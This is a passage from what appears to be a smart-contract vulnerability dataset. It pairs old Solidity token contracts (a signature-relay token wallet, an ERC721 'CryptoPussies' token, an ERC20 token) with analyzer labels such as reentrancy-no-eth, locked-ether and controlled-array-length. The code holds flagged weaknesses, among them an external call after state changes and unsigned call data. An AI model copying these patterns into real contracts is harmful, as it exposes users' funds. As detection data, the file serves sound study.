balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(msg.sender, token, to, tokens);
return true;
}
///transfer tokens within the lava balances
//Can be public because it requires approval
function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(token, from, to, tokens);
return true;
}
//Nonce is the same thing as a 'check number'
//EIP 712
function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce) public constant returns (bytes32)
{
bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37; //with methodname
bytes32 typedDataHash = sha3(
hardcodedSchemaHash,
sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce)
);
return typedDataHash;
}
function tokenApprovalWithSignature(bool requiresKing, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success)
{
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the signer is the depositor of the tokens
if(from != recoveredSignatureSigner) revert();
if(msg.sender != getRelayingKing() && requiresKing ) revert(); // you must be the 'king of the hill' to relay
//make sure the signature has not expired
if(block.number > expires) revert();
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1; //spent
if(burnedSignature != 0x0 ) revert();
//approve the relayer reward
allowed[token][from][msg.sender] = relayerReward;
Approval(from, token, msg.sender, relayerReward);
//transferRelayerReward
if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert();
//approve transfer of tokens
allowed[token][from][to] = tokens;
Approval(from, token, to, tokens);
return true;
}
function approveTokensFromAnyWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('anyApprove',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(false,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
return true;
}
function approveTokensFromKingWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('kingApprove',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(true,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
return true;
}
//the tokens remain in lava wallet
function transferTokensFromAnyWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('anyTransfer',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(false,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!transferTokensFrom( from, to, token, tokens)) revert();
return true;
}
//The tokens are withdrawn from the lava wallet and transferred into the To account
function transferTokensFromKingWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('kingTransfer',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(true,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!transferTokensFrom( from, to, token, tokens)) revert();
return true;
}
//the tokens remain in lava wallet
function withdrawTokensFromAnyWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('anyWithdraw',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(false,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!withdrawTokensFrom( from, to, token, tokens)) revert();
return true;
}
//The tokens are withdrawn from the lava wallet and transferred into the To account
function withdrawTokensFromKingWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('kingWithdraw',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(true,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
if(!withdrawTokensFrom( from, to, token, tokens)) revert();
return true;
}
function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the invalidator is the signer
if(recoveredSignatureSigner != from) revert();
//only the original packet owner can burn signature, not a relay
if(from != msg.sender) revert();
//make sure this signature has never been used
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2; //invalidated
if(burnedSignature != 0x0 ) revert();
return true;
}
//2 is burned
//1 is redeemed
function signatureBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
/*
Receive approval to spend tokens and perform any action all in one transaction
*/
function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) {
return depositTokens(from, token, tokens );
}
/*
Approve lava tokens for a smart contract and call the contracts receiveApproval method all in one fell swoop
One issue: the data is not being signed and so it could be manipulated
*/
function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature ) public {
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
bool requiresKing = getRequiresKing(methodname);
if(!tokenApprovalWithSignature(requiresKing,from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname);
}
function getRelayingKing() public returns (address)
{
return MiningKingInterface(relayKingContract).getMiningKing();
}
function getRequiresKing(bytes methodname) pure internal returns (bool)
{
return (bytesEqual(methodname,'kingTransfer') || bytesEqual(methodname,'kingWithdraw') || bytesEqual(methodname,'kingApprove'));
}
function bytesEqual(bytes b1,bytes b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) reentrancy-no-eth with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. This function MUST use 50,000 gas or less. Return of other
* than the magic value MUST result in the transaction being reverted.
* Note: the contract address is always the message sender.
* @param _from The sending address
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
*/
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* @dev The zero address indicates there is no approved address.
* @dev There can only be one approved address per token at a given time.
* @dev Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* @dev An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @dev Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
Approval(_owner, address(0), _tokenId);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* @dev The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(address _from, address _to, uint256 _tokenId, bytes _data) internal returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() public view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() public view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* @dev Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets list of tokens of the requested owner
* @param _owner address owning the tokens list to be accessed
* @return uint256[] token IDs
*/
function tokensOfOwner(address _owner) public view returns (uint256[])
{
return ownedTokens[_owner];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* @dev Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* @dev Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is ERC721BasicToken {
function burn(uint256 _tokenId) public {
_burn(msg.sender, _tokenId);
}
}
contract MintableToken is ERC721Token, Ownable {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _tokenId) public onlyOwner canMint {
_mint(_to, _tokenId);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _tokenId id of the new token
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _tokenId) onlyOwner canMint public {
require(totalSupply().add(1) <= cap);
return super.mint(_to, _tokenId);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is ERC721BasicToken, Pausable {
function approve(address _to, uint256 _tokenId) public whenNotPaused {
return super.approve(_to, _tokenId);
}
function setApprovalForAll(address _to, bool _approved) public whenNotPaused {
return super.setApprovalForAll(_to, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused canTransfer(_tokenId) {
return super.transferFrom(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused canTransfer(_tokenId) {
return super.safeTransferFrom(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public whenNotPaused canTransfer(_tokenId) {
return super.safeTransferFrom(_from, _to, _tokenId, _data);
}
}
/**
* @title PausableBurnable token
* @dev BurnableToken allowing to burn only when is not paused.
**/
contract BurnablePausableToken is PausableToken, BurnableToken {
function burn(uint256 _tokenId) public whenNotPaused {
super.burn(_tokenId);
}
}
contract Token is ERC721Token , PausableToken {
function Token()
public
payable
ERC721Token('CryptoPussies', 'CP')
{
}
function setTokenURI(uint256 _tokenId, string _uri) external onlyOwnerOf(_tokenId) {
super._setTokenURI(_tokenId, _uri);
}
} | These are the vulnerabilities found
1) constant-function-asm with Medium impact
2) locked-ether with Medium impact
3) controlled-array-length with High impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract LTYP is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function LTYP() public {
symbol = "LTYP";
name = "Letsy Platinum";
decimals = 18;
_totalSupply = 1000000000000000000000000;
